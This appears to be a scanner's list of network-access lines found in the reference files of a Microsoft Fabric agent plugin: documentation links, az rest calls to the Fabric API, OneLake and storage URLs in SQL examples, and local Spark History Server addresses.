| MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations | - Network accessline 453
| MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations | - Network accessline 454
| Get started | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/get-started-with-materialized-lake-views | quickstart, create MLV, first MLV, CDF setup | - Network accessline 454
| Get started | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/get-started-with-materialized-lake-views | quickstart, create MLV, first MLV, CDF setup | - Network accessline 455
| Medallion tutorial | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/tutorial | medallion architecture, bronze-silver-gold, sales analytics | - Network accessline 455
| Medallion tutorial | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/tutorial | medallion architecture, bronze-silver-gold, sales analytics | - Network accessline 456
| Optimal refresh | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view | incremental refresh, full refresh, no refresh, optimal refresh, CDF | - Network accessline 456
| Optimal refresh | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view | incremental refresh, full refresh, no refresh, optimal refresh, CDF | - Network accessline 457
| Spark SQL reference | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view | CREATE, DROP, SHOW, ALTER, syntax, limitations | - Network accessline 457
| Spark SQL reference | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view | CREATE, DROP, SHOW, ALTER, syntax, limitations | - Network accessline 458
| PySpark reference | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view-pyspark | PySpark, full refresh, UDFs, complex transformations | - Network accessline 458
| PySpark reference | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view-pyspark | PySpark, full refresh, UDFs, complex transformations | - Network accessline 459
| Schedule refresh | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run | schedule, lineage, cross-lakehouse, optimal refresh toggle | - Network accessline 459
| Schedule refresh | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run | schedule, lineage, cross-lakehouse, optimal refresh toggle | - Network accessline 460
| Manage lineage | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage | lineage view, dependency graph, extended lineage | - Network accessline 460
| Manage lineage | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage | lineage view, dependency graph, extended lineage | - Network accessline 461
| REST API management | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-views-public-api | REST API, on-demand refresh, schedule CRUD | - Network accessline 461
| REST API management | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-views-public-api | REST API, on-demand refresh, schedule CRUD |
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/mlv-incremental-refresh-patterns.md
- Network accessline 29
These SQL patterns are compatible with incremental refresh per the [official supported constructs list](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view#sql-constructs-supporte - Network accessline 29
These SQL patterns are compatible with incremental refresh per the [official supported constructs list](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view#sql-constructs-supporte - Network accessline 30
[official supported constructs list](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view#sql-constructs-supported-by-incremental-refresh): - Network accessline 30
[official supported constructs list](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view#sql-constructs-supported-by-incremental-refresh): - Network accessline 36
| `GROUP BY` with simple columns | `SELECT region, status, COUNT(*) FROM src GROUP BY region, status` | Keep grouping keys simple | | `INNER JOIN` | `SELECT a.id, b.name FROM src_a a INNER JOIN src_b b ON a.id = b.id` | Safest join type for - Network accessline 36
| `GROUP BY` with simple columns | `SELECT region, status, COUNT(*) FROM src GROUP BY region, status` | Keep grouping keys simple | | `INNER JOIN` | `SELECT a.id, b.name FROM src_a a INNER JOIN src_b b ON a.id = b.id` | Safest join type for - Network accessline 37
| `INNER JOIN` | `SELECT a.id, b.name FROM src_a a INNER JOIN src_b b ON a.id = b.id` | Safest join type for IR | | `LEFT OUTER JOIN` | `SELECT a.*, b.name FROM src_a a LEFT JOIN src_b b ON a.id = b.id` | Supported — IR works only if the ri - Network accessline 37
| `INNER JOIN` | `SELECT a.id, b.name FROM src_a a INNER JOIN src_b b ON a.id = b.id` | Safest join type for IR | | `LEFT OUTER JOIN` | `SELECT a.*, b.name FROM src_a a LEFT JOIN src_b b ON a.id = b.id` | Supported — IR works only if the ri - Network accessline 38
| `LEFT OUTER JOIN` | `SELECT a.*, b.name FROM src_a a LEFT JOIN src_b b ON a.id = b.id` | Supported — IR works only if the right-side table remains unchanged during the refresh cycle ([MS Learn](https://learn.microsoft.com/en-us/fabric/dat - Network accessline 38
| `LEFT OUTER JOIN` | `SELECT a.*, b.name FROM src_a a LEFT JOIN src_b b ON a.id = b.id` | Supported — IR works only if the right-side table remains unchanged during the refresh cycle ([MS Learn](https://learn.microsoft.com/en-us/fabric/dat
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/notebook-api-operations.md
- Network accessline 26
- Official schema (nbformat v4): https://github.com/jupyter/nbformat/blob/main/nbformat/v4/nbformat.v4.schema.json - Network accessline 26
- Official schema (nbformat v4): https://github.com/jupyter/nbformat/blob/main/nbformat/v4/nbformat.v4.schema.json - Network accessline 221
| 400 | Bad Request: invalid base64 | Malformed base64 or wrong encoding | Verify with `base64 --decode` before uploading; use standard Base64 (not URL-safe) | | 400 | Invalid notebook format | `.ipynb` JSON is malformed | Validate JSON str - Network accessline 221
| 400 | Bad Request: invalid base64 | Malformed base64 or wrong encoding | Verify with `base64 --decode` before uploading; use standard Base64 (not URL-safe) | | 400 | Invalid notebook format | `.ipynb` JSON is malformed | Validate JSON str - Network accessline 222
| 400 | Invalid notebook format | `.ipynb` JSON is malformed | Validate JSON structure; ensure `nbformat`, `cells`, and `metadata` keys are present | | 401 | Unauthorized | Expired or wrong token audience | Re-run `az login`; ensure `--reso - Network accessline 222
| 400 | Invalid notebook format | `.ipynb` JSON is malformed | Validate JSON structure; ensure `nbformat`, `cells`, and `metadata` keys are present | | 401 | Unauthorized | Expired or wrong token audience | Re-run `az login`; ensure `--reso - Network accessline 223
| 401 | Unauthorized | Expired or wrong token audience | Re-run `az login`; ensure `--resource https://api.fabric.microsoft.com` is set | - Network accessline 223
| 401 | Unauthorized | Expired or wrong token audience | Re-run `az login`; ensure `--resource https://api.fabric.microsoft.com` is set |
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/consumption.md
- Network accessline 22
| Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — *READ link first* [needed for finding workspace id b - Network accessline 23
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control- - Network accessline 24
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/mlv.md
- Network accessline 83
| Job Scheduling | [COMMON-CLI.md § Job Scheduling](../../../common/COMMON-CLI.md#job-scheduling) | URL is `/jobs/{jobType}/schedules`; `endDateTime` required | | Job Execution | [COMMON-CLI.md § Job Execution](../../../common/COMMON-CLI.md - Network accessline 84
| Job Execution | [COMMON-CLI.md § Job Execution](../../../common/COMMON-CLI.md#job-execution) || | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control - Network accessline 85
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res - Network accessline 87
| Gotchas & Troubleshooting (CLI-Specific) | [COMMON-CLI.md § Gotchas & Troubleshooting (CLI-Specific)](../../../common/COMMON-CLI.md#gotchas--troubleshooting-cli-specific) | `az rest` audience, shell escaping, token expiry | | Quick Refere - Network accessline 89
| MLV Public API Reference | [MS Learn: Manage Fabric materialized lake views with public APIs](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-views-public-api) | Official documentation f - Network accessline 127
**Base URL**: `https://api.fabric.microsoft.com/v1` - Network accessline 158
**See**: [MS Learn: MLV Background Jobs](https://learn.microsoft.com/en-us/rest/api/fabric/lakehouse/background-jobs/create-refresh-materialized-lake-views-schedule) - Network accessline 166
The [Preview REST scheduler](https://learn.microsoft.com/en-us/rest/api/fabric/lakehouse/background-jobs/create-refresh-materialized-lake-views-schedule#limitations) supports refresh schedules at lakehouse scope. A lakehouse can have at mos - Network accessline 366
Location: https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items/{lakehouseId}/jobs/instances/{jobInstanceId} - Network accessline 542
az rest --resource https://api.fabric.microsoft.com \ - Network accessline 543
--url "https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/lakehouses" \ - Network accessline 567
# See COMMON-CLI.md for authentication setup az rest --resource https://api.fabric.microsoft.com \ - Network accessline 568
az rest --resource https://api.fabric.microsoft.com \ - Network accessline 569
--url "https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/lakehouses/{lakehouseId}/jobs/refreshMaterializedLakeViews/instances" \ - Network accessline 588
Valid time zones: Windows time zone names (e.g., `"Central Standard Time"`, `"Pacific Standard Time"`, `"India Standard Time"`). Use the [Windows Default Time Zones](https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/def
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations.md
- Network accessline 32
| Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — *READ link first* [needed for finding workspace id b - Network accessline 33
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control- - Network accessline 34
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/automated-diagnostic-workflow.md
- Network accessline 107
https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}&tab=related - Network accessline 228
### Links - **Notebook Snapshot**: `https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}&tab=related` - Network accessline 229
- **Notebook Snapshot**: `https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}&tab=related` - Network accessline 230
- **Spark Monitor**: `https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}`
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/diagnostic-workflow.md
- Network accessline 96
Copies the full Spark event log from Fabric to a OneLake lakehouse via the [JobInsight API](jobinsight-api.md), downloads it locally, and starts the OSS Spark History Server on `http://localhost:18080` for the full Spark UI (DAG, task-level - Network accessline 109
2. Download event files from OneLake DFS to local disk 3. Start local Spark History Server — see [spark-history-server.md](spark-history-server.md) 4. Open browser to `http://localhost:18080` for the full Spark UI - Network accessline 111
4. Open browser to `http://localhost:18080` for the full Spark UI
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/jobinsight-api.md
- Network accessline 134
az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 135
--url "https://api.fabric.microsoft.com/v1/workspaces/$workspaceId/items/$notebookId/jobs/RunNotebook/instances" \ - Network accessline 147
[Credential-related source omitted] - Network accessline 148
[Credential-related source omitted] - Network accessline 150
[Credential-related source omitted] - Network accessline 151
[Credential-related source omitted] - Network accessline 152
"https://onelake.dfs.fabric.microsoft.com/$workspaceId/$lakehouseId/Files/spark-events/$livyId?resource=filesystem&recursive=true" \ - Network accessline 159
[Credential-related source omitted] - Network accessline 160
[Credential-related source omitted] - Network accessline 161
"https://onelake.dfs.fabric.microsoft.com/$workspaceId/$lakehouseId/<filepath>" \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/pipeline-diagnosis.md
- Network accessline 30
**API endpoint** ([docs](https://learn.microsoft.com/en-us/fabric/data-factory/pipeline-rest-api)): - Network accessline 41
# BROKEN: PowerShell treats & as call operator az rest --url "https://...?type=driver&fileName=stderr" - Network accessline 42
az rest --url "https://...?type=driver&fileName=stderr" - Network accessline 221
File "Cell In[14], line 19" raise Exception(f"Expected key '{key}' not found in URL: {url}") Exception: Expected key 'cluster_id' not found in URL: https://... - Network accessline 223
Exception: Expected key 'cluster_id' not found in URL: https://... - Network accessline 236
https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}&tab=related - Network accessline 353
**Spark Jobs**: 13/13 SUCCEEDED — failure is in Python code, not Spark infrastructure **Pattern**: 31 iterations fail at the same cell with the same exception class; 5 succeed **Sample failing parameters**: `cluster_url=https://...`, `batch - Network accessline 354
**Pattern**: 31 iterations fail at the same cell with the same exception class; 5 succeed **Sample failing parameters**: `cluster_url=https://...`, `batch_key=...` **Root Cause**: Notebook business logic expects a key in the URL that is mis - Network accessline 355
**Sample failing parameters**: `cluster_url=https://...`, `batch_key=...`
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/spark-history-server.md
- Network accessline 116
[Credential-related source omitted] - Network accessline 117
[Credential-related source omitted] - Network accessline 119
[Credential-related source omitted] - Network accessline 120
[Credential-related source omitted] - Network accessline 121
"https://onelake.dfs.fabric.microsoft.com/$workspaceId/$lakehouseId/Files/spark-events/$livyId?resource=filesystem&recursive=true" | jq '.paths[].name' - Network accessline 123
[Credential-related source omitted] - Network accessline 124
[Credential-related source omitted] - Network accessline 125
"https://onelake.dfs.fabric.microsoft.com/$workspaceId/$lakehouseId/Files/spark-events/$livyId/<filename>" \ - Network accessline 146
Navigate to `http://localhost:18080`. The application should appear in the list. Click through to:
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldb-cli/references/consumption.md
- Network accessline 158
| `Login failed for user` | Wrong DB name or no access | Verify `-d` matches the REST `properties.databaseName` value (see COMMON-CLI.md "Discovering Connection Parameters via REST"), and that you have permission | | `Cannot open server` | - Network accessline 159
| `Cannot open server` | Wrong FQDN or network | Re-discover via REST API; check port 1433 | | `Login timeout expired` | Port 1433 blocked | `nc -zv <endpoint>.database.fabric.microsoft.com 1433`; check firewall/VPN | | `ActiveDirectoryDefa - Network accessline 160
| `Login timeout expired` | Port 1433 blocked | `nc -zv <endpoint>.database.fabric.microsoft.com 1433`; check firewall/VPN | - Network accessline 162
| Cross-database query fails | Using OLTP endpoint | Switch to SQL analytics endpoint for three-part naming | | Data appears stale in analytics endpoint | Mirroring replication lag | Wait for replication; check status via `sys.dm_change_fee - Network accessline 163
| Data appears stale in analytics endpoint | Mirroring replication lag | Wait for replication; check status via `sys.dm_change_feed_log_scan_sessions` | | Table missing from analytics endpoint | Table exceeds 1000-table mirror limit, or has - Network accessline 164
| Table missing from analytics endpoint | Table exceeds 1000-table mirror limit, or has unsupported PK type, or uses CCI/in-memory/Always Encrypted | Check `sys.dm_change_feed_errors`; see [mirroring limitations](https://learn.microsoft.com
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldb-cli/references/operations.md
- Network accessline 36
Use an already-installed `sqlcmd` first and make at most one connection attempt with it. If it is absent or its Entra authentication mode fails, do not install or upgrade tooling during the investigation. When the current PowerShell runtime
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/authoring.md
- Network accessline 88
> 1. Confirm the `fabric-sqlendpoint-execute_query` tool is available in your tool list. This tool is provided by the `fabric-sqlendpoint` MCP server, which is registered either by installing a Fabric skills **plugin** (the path for end use - Network accessline 89
> 2. If no matching tool is found, the user must register the Fabric SQL Endpoint MCP server. See [mcp-setup/](../../../mcp-setup/). > - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` > - **Item-scoped - Network accessline 90
> - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` - Network accessline 91
> - **Item-scoped URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/workspaces/{workspaceId}/items/{itemId}/sqlEndpoint` - Network accessline 151
> **`MERGE` and `ALTER COLUMN` are NOT hard errors.** Per [T-SQL surface area](https://learn.microsoft.com/en-us/fabric/data-warehouse/tsql-surface-area), `MERGE` is a **generally available** Warehouse feature and `ALTER TABLE ... ALTER COL - Network accessline 181
# 1. Find workspace ID by name (capture into WS_ID for the next call) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 182
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 183
--resource "https://api.fabric.microsoft.com" \ - Network accessline 184
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 188
# 2. Find warehouse item ID by name az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 189
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 190
--resource "https://api.fabric.microsoft.com" \ - Network accessline 191
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \ - Network accessline 194
# For a Lakehouse SQL endpoint, pass its SQL analytics endpoint id — NOT the lakehouse item id az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 195
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 196
--resource "https://api.fabric.microsoft.com" \ - Network accessline 197
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/authoring/authoring-cli-quickref.md
- Network accessline 92
fabric-sqlendpoint-execute_query(workspaceId, itemId, "COPY INTO dbo.FactSales FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet' - Network accessline 93
"COPY INTO dbo.FactSales FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet' WITH (FILE_TYPE = 'PARQUET')") - Network accessline 94
FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet' - Network accessline 98
fabric-sqlendpoint-execute_query(workspaceId, itemId, "COPY INTO dbo.FactSales FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.csv' - Network accessline 99
"COPY INTO dbo.FactSales FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.csv' WITH (FILE_TYPE = 'CSV', FIRSTROW = 2, FIELDTERMINATOR = ',', ROWTERMINATOR = '\n')") - Network accessline 100
FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.csv' - Network accessline 105
"CREATE TABLE dbo.CleanData AS SELECT id, UPPER(country) AS Country, CAST(amount AS decimal(19,4)) AS Amount FROM OPENROWSET(BULK 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet') AS raw - Network accessline 106
SELECT id, UPPER(country) AS Country, CAST(amount AS decimal(19,4)) AS Amount FROM OPENROWSET(BULK 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet') AS raw WHERE amount > 0") - Network accessline 107
FROM OPENROWSET(BULK 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet') AS raw
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/authoring/authoring-script-templates.md
- Network accessline 9
**Placeholders:** The storage URLs (`https://storageacct.dfs.core.windows.net/...`), dates - Network accessline 23
fabric-sqlendpoint-execute_query(workspaceId, itemId, "COPY INTO dbo.StagingData FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet' - Network accessline 24
"COPY INTO dbo.StagingData FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet' WITH (FILE_TYPE = 'PARQUET')") - Network accessline 25
FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet' - Network accessline 44
fabric-sqlendpoint-execute_query(workspaceId, itemId, "COPY INTO dbo.Staging_RawSales FROM 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet' - Network accessline 45
"COPY INTO dbo.Staging_RawSales FROM 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet' WITH (FILE_TYPE = 'PARQUET')") - Network accessline 46
FROM 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet'
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/consumption.md
- Network accessline 77
> 1. Confirm the `fabric-sqlendpoint-execute_query` tool is available in your tool list. This tool is provided by the `fabric-sqlendpoint` MCP server, which is registered either by installing a Fabric skills **plugin** (the path for end use - Network accessline 78
> 2. If no matching tool is found, the user must register the Fabric SQL Endpoint MCP server. See [mcp-setup/](../../../mcp-setup/) for registration instructions. > - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sql - Network accessline 79
> - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` - Network accessline 80
> - **Item-scoped URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/workspaces/{workspaceId}/items/{itemId}/sqlEndpoint` - Network accessline 130
# 1. Find workspace ID by name (capture into WS_ID for the next calls) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 131
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 132
--resource "https://api.fabric.microsoft.com" \ - Network accessline 133
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 137
# 2. Find warehouse item ID by name az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 138
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 139
--resource "https://api.fabric.microsoft.com" \ - Network accessline 140
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \ - Network accessline 142
# For a Lakehouse, pass its SQL analytics endpoint id — NOT the lakehouse item id az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 143
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 144
--resource "https://api.fabric.microsoft.com" \ - Network accessline 145
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 237
| Symptom | Cause | Fix | |---|---|---| | MCP tool not available | MCP server not registered | Register `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` in MCP client config | - Network accessline 238
|---|---|---| | MCP tool not available | MCP server not registered | Register `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` in MCP client config | | HTTP 401 / Unauthorized | Auth token expired or invalid | Re-authenticate - Network accessline 239
| MCP tool not available | MCP server not registered | Register `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` in MCP client config |
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/consumption/script-templates.md
- Network accessline 111
# Find workspace ID (capture into WS_ID for the next call) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 112
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 113
--resource "https://api.fabric.microsoft.com" \ - Network accessline 114
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 118
# Find warehouse ID az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 120
--resource "https://api.fabric.microsoft.com" \ - Network accessline 121
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/operations.md
- Network accessline 75
> 1. Confirm the `fabric-sqlendpoint-execute_query` tool is available in your tool list. This tool is provided by the `fabric-sqlendpoint` MCP server, which is registered either by installing a Fabric skills **plugin** (the path for end use - Network accessline 76
> 2. If no matching tool is found, the user must register the Fabric SQL Endpoint MCP server. > - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` > - **Item-scoped URL**: `https://api.fabric.microsoft.c - Network accessline 77
> - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` - Network accessline 78
> - **Item-scoped URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/workspaces/{workspaceId}/items/{itemId}/sqlEndpoint` - Network accessline 110
# 1. Find workspace ID by name (capture into WS_ID for the next call) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 111
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 112
--resource "https://api.fabric.microsoft.com" \ - Network accessline 113
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 117
# 2. Find warehouse item ID by name az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 118
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 119
--resource "https://api.fabric.microsoft.com" \ - Network accessline 120
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \ - Network accessline 152
- CPU > 5,000,000 ms → review query logic - Elapsed > 300,000 ms → check joins, filters, statistics - Reference: [Performance guidelines](https://learn.microsoft.com/fabric/data-warehouse/guidelines-warehouse-performance) - Network accessline 154
- Reference: [Performance guidelines](https://learn.microsoft.com/fabric/data-warehouse/guidelines-warehouse-performance) - Network accessline 280
For comprehensive Fabric DW best practices, see [SQLDW-CONSUMPTION-CORE.md § Performance: Best Practices and Troubleshooting](../../../common/SQLDW-CONSUMPTION-CORE.md#performance-best-practices-and-troubleshooting) and the [Fabric guidelin
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/SKILL.md
- Network accessline 95
| Target | Token Audience | |---|---| | Synapse ARM (management plane) | `https://management.azure.com` | - Network accessline 96
|---|---| | Synapse ARM (management plane) | `https://management.azure.com` | | Synapse Data Plane | `https://dev.azuresynapse.net` | - Network accessline 97
| Synapse ARM (management plane) | `https://management.azure.com` | - Network accessline 98
| Synapse Data Plane | `https://dev.azuresynapse.net` | - Network accessline 99
| Fabric REST API | `https://api.fabric.microsoft.com` | - Network accessline 124
| Target | Token Audience | |---|---| | Synapse ARM | `https://management.azure.com` | - Network accessline 125
|---|---| | Synapse ARM | `https://management.azure.com` | | Synapse Data Plane | `https://dev.azuresynapse.net` | - Network accessline 126
| Synapse ARM | `https://management.azure.com` | - Network accessline 127
| Synapse Data Plane | `https://dev.azuresynapse.net` | - Network accessline 128
| Fabric REST API | `https://api.fabric.microsoft.com` | - Network accessline 130
> **API docs**: [Synapse ARM](https://learn.microsoft.com/en-us/rest/api/synapse) · [Synapse Data Plane](https://learn.microsoft.com/en-us/rest/api/synapse/data-plane) · [Fabric Items](https://learn.microsoft.com/en-us/rest/api/fabric/core/ - Network accessline 225
# Fabric conn = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "my-secret") - Network accessline 226
conn = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "my-secret")
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/code-patterns.md
- Network accessline 70
[Credential-related source omitted] - Network accessline 71
[Credential-related source omitted] - Network accessline 72
"https://mykeyvault.vault.azure.net/", - Network accessline 76
[Credential-related source omitted] - Network accessline 163
-- AFTER — Fabric Warehouse: COPY INTO from OneLake COPY INTO dbo.FactOrders FROM 'https://onelake.dfs.fabric.microsoft.com/<workspace>/<lakehouse>.Lakehouse/Files/orders/2024/' - Network accessline 164
COPY INTO dbo.FactOrders FROM 'https://onelake.dfs.fabric.microsoft.com/<workspace>/<lakehouse>.Lakehouse/Files/orders/2024/' WITH ( - Network accessline 165
FROM 'https://onelake.dfs.fabric.microsoft.com/<workspace>/<lakehouse>.Lakehouse/Files/orders/2024/'
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/connectivity-migration.md
- Network accessline 38
[Credential-related source omitted] - Network accessline 40
[Credential-related source omitted] - Network accessline 42
